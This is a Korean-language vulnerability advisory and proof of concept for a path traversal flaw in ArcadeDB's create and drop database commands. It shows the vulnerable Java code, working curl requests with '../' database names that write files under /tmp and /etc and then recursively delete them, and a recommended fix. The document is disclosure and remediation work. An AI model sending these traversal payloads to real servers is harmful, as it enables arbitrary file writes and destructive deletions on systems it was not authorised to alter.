
CVE-2026-75855에 대한 개념 증명(PoC)으로, ArcadeDB의 데이터베이스 생성/삭제 명령에서 발생하는 경로 탐색(path traversal) 취약점으로, 구성된 디렉터리 외부에서 임의 파일 쓰기 및 삭제를 허용합니다.
"create database" / "drop database" 서버 명령의 경로 탐색(Path Traversal)으로 구성된 데이터베이스 디렉터리 외부에서 임의 파일 쓰기 및 삭제 가능
POST /api/v1/server 엔드포인트의 create database 및 drop database 명령은 호출자가 제공한 데이터베이스 이름을 사용하여 파일 시스템 경로를 구성하는데, 이때 삭제(sanitization), 정규화(normalization), 또는 포함(containment) 검사가 전혀 수행되지 않습니다. ArcadeDB 서버의 root 계정으로 인증된 사용자는 ../ 시퀀스가 포함된 이름을 제공하여 서버가 구성된 arcadedb.server.databaseDirectory를 완전히 벗어난, 서버 프로세스가 쓸 수 있는 임의의 절대 파일 시스템 경로에 전체 데이터베이스(임의의 파일 및 디렉터리)를 생성(및 이후 삭제)하도록 만들 수 있습니다.
이 취약점은 깨끗한 상태에서 두 번 독립적으로 실시간 검증되었습니다. 조작된 create database 명령이 /tmp/에 실제 데이터베이스 파일을 작성했고, 별도 테스트에서는 /etc/에 작성했습니다. 동일한 탐색 문자열을 사용한 drop database 명령은 해당 디렉터리를 재귀적으로 삭제했습니다.
server/src/main/java/com/arcadedb/server/http/handler/PostServerCommandHandler.java:
private void createDatabase(final String databaseName) {
if (databaseName.isEmpty())
throw new IllegalArgumentException("Database name empty");
checkServerIsLeaderIfInHA();
final ArcadeDBServer server = httpServer.getServer();
final ServerDatabase db = server.createDatabase(databaseName, ComponentFile.MODE.READ_WRITE);
...
}
유일한 검증은 비어 있지 않은지 확인하는 것입니다. databaseName은 수정 없이 ArcadeDBServer.createDatabase() (server/src/main/java/com/arcadedb/server/ArcadeDBServer.java:572)로 전달됩니다:
final DatabaseFactory factory = new DatabaseFactory(
configuration.getValueAsString(GlobalConfiguration.SERVER_DATABASE_DIRECTORY) + File.separator
+ databaseName).setAutoTransaction(true);
이는 Path.resolve() + 포함 검사가 아닌 원시 문자열 연결입니다. DatabaseFactory (engine/src/main/java/com/arcadedb/database/DatabaseFactory.java)는 create()/open()이 디스크 파일을 작성하기 전에 .normalize()를 호출하거나 해석된 경로가 의도된 기본 디렉터리 내에 유지되는지 확인하지 않습니다.
dropDatabase()도 동일한 검증 부재 문제가 있으며, 서버가 호출자가 제공한 리터럴(탐색 포함) 이름으로 데이터베이스를 추적하므로 이후 drop database는 create database가 작성한 디렉터리를 재귀적으로 삭제합니다.
두 명령 모두 checkRootUser(user)가 적용되므로 서버의 root 계정이 필요합니다. 그러나 여기서 root는 ArcadeDB 자체의 애플리케이션 수준 슈퍼유저로, OS/셸 접근 권한과 반드시 동일한 신뢰 수준은 아닙니다. databaseDirectory의 포함 경계를 깨면 해당 애플리케이션 수준 계정이 JVM 프로세스가 OS 권한을 가진 모든 곳에 임의 파일을 쓰고 삭제할 수 있습니다.
환경: ArcadeData/arcadedb @ 커밋 545e703, 소스에서 빌드 (./mvnw -pl engine,server -am install -DskipTests), arcadedb.server.rootPassword 설정 및 arcadedb.server.databaseDirectory=/databases로 독립 실행.
의도된 데이터베이스 디렉터리가 비어 있는지 확인합니다.
탐색 페이로드가 포함된 create database 명령을 전송합니다:
curl -u root: -X POST http://127.0.0.1:2480/api/v1/server \
-H "Content-Type: application/json" \
-d '{"command":"create database ../../../../../../tmp/arcadedb-traversal-poc"}'
→ {"result":"ok"} HTTP 200
ls -la /tmp/arcadedb-traversal-poc/
→ configuration.json, schema.json, dictionary..dict, txlog_.wal — 완전하고 실제적인 ArcadeDB 데이터베이스입니다. 의도된 databases/ 디렉터리는 전체 과정 동안 비어 있습니다.
list databases는 등록된 이름으로 리터럴 탐색 문자열을 반환하여 정규화가 전혀 없음을 확인합니다:{"result":["../../../../../../tmp/arcadedb-traversal-poc"]}
/etc/arcadedb-poc2로 더 깊은 탐색을 사용하여 반복 — 동일하게 성공하여 쓰기가 /tmp 또는 특정 파일 시스템 영역에 국한되지 않고 프로세스가 쓸 수 있는 모든 곳에 가능함을 입증합니다. 또한 최소한의 단일 레벨 ../ 탐색으로도 재현되어 우연한 결과가 아닌 실제 경로 이스케이프임을 확인했습니다.
동일한 탐색 문자열을 사용한 drop database는 디렉터리를 재귀적으로 삭제합니다:
curl -u root: -X POST http://127.0.0.1:2480/api/v1/server \
-H "Content-Type: application/json" \
-d '{"command":"drop database ../../../../../../tmp/arcadedb-traversal-poc"}'
→ {"result":"ok"}; 이후 디렉터리가 삭제된 것을 확인했습니다.
databaseDirectory 샌드박스를 완전히 벗어나 서버 프로세스가 쓸 수 있는 임의의 절대 경로에 임의 파일/디렉터리 생성(create database 통해) 및 임의 재귀 삭제(drop database 통해).경로 구분자(/, \) 또는 .. 세그먼트가 포함된 데이터베이스 이름을 즉시 거부하고(이 클래스의 식별자에는 ^[A-Za-z0-9_-]+$와 같은 간단한 허용 목록 정규식이 표준), 방어적으로 Path.resolve(name).normalize()로 최종 경로를 해석하고 createDatabase와 dropDatabase 모두에서 파일 작업 전에 구성된 기본 디렉터리로 시작하는지 확인합니다.
크레딧: Pervin Zahidli (@ech0void)